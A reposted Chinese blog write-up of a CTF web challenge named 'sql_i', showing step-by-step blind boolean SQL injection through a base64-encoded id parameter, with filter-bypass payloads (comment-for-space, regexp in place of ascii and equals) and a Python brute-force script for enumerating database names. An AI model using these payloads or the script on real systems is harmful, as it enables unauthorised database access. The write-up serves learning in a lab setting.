1、题目名sql_i，环境打开是一张图，可以看到id的参数base64加密了。
源码里还说sqlmap是没有灵魂的。
2、and 、空格，base64加密后提交发现被过滤
3、or没被过滤，空格用/**/替换，base64加密提交，看到表中所有内容，存在注入
1/**/or/**/2/**/</**/3
4、=被过滤那就用>，猜数据库长度，判断长度7
1/**/or/**/length(database())/**/>/**/6 五张图
1/**/or/**/length(database())/**/>/**/7 一张图
5、用ascii继续猜，发现ascii也被过滤，那就用regexp，得到数据库名：dropsec
1/**/or/**/substr(database(),1,1)/**/regexp/**/"a"
6、猜表，就得到一个表pics，然后继续猜字段和内容，就是5张图，flag难道是在别的库？
1/**/or/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/"dropsec"/**/limit/**/1,1),1,1)/**/regexp/**/"a"
7、那就把库都列出来，除mysql自带的一共得到2个库，test和dropsec。test里是空的，这题是不是出错了？附fuzz代码
import base64
import requests
def sql_inject(id_string):
base_url = "http://xxxxx:9174/index.php?id="
id_string_base64 = base64.b64encode(id_string.encode("utf-8"))
inject_url = base_url + id_string_base64.decode("utf-8")
response = requests.get(inject_url)
return response.text
for num in range(1,50):
for i in "abcdefghijklmnopqrstuvwxyz_1234567890":
response = sql_inject('1/**/or/**/substr((select/**/schema_name/**/from/**/information_schema.schemata),1,1/**/regexp/**/"{}"'.format(i))
# response = sql_inject('1/**/or/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/regexp/**/"dropsec"/**/limit/**/-1,1),%d,1)/**/regexp/**/"%s"' % (num,i))
# response = sql_inject('1/**/or/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"applicable_roles"/**/limit/**/1,1),{},1)/**/regexp/**/"{}"'.format(num,i))
# response = sql_inject('1/**/or/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"pics"/**/limit/**/2,1),%d,1)/**/regexp/**/"%s"' % (num,i))
# response = sql_inject('1/**/or/**/substr((select/**/id/**/from/**/dropsec.pics/**/limit/**/1,1),%d,1)/**/regexp/**/"%s"' % (num,i))
# print(len(response),i)
if len(response) == 756:
print(i,end="")
break
Original: https://www.cnblogs.com/vpandaxjl/p/15228629.html
Author: 功夫小熊猫
Title: 记一次简单的注入
原创文章受到原创版权保护。转载请注明出处：https://www.johngo689.com/571698/
转载文章受原作者版权保护。转载请注明原作者出处！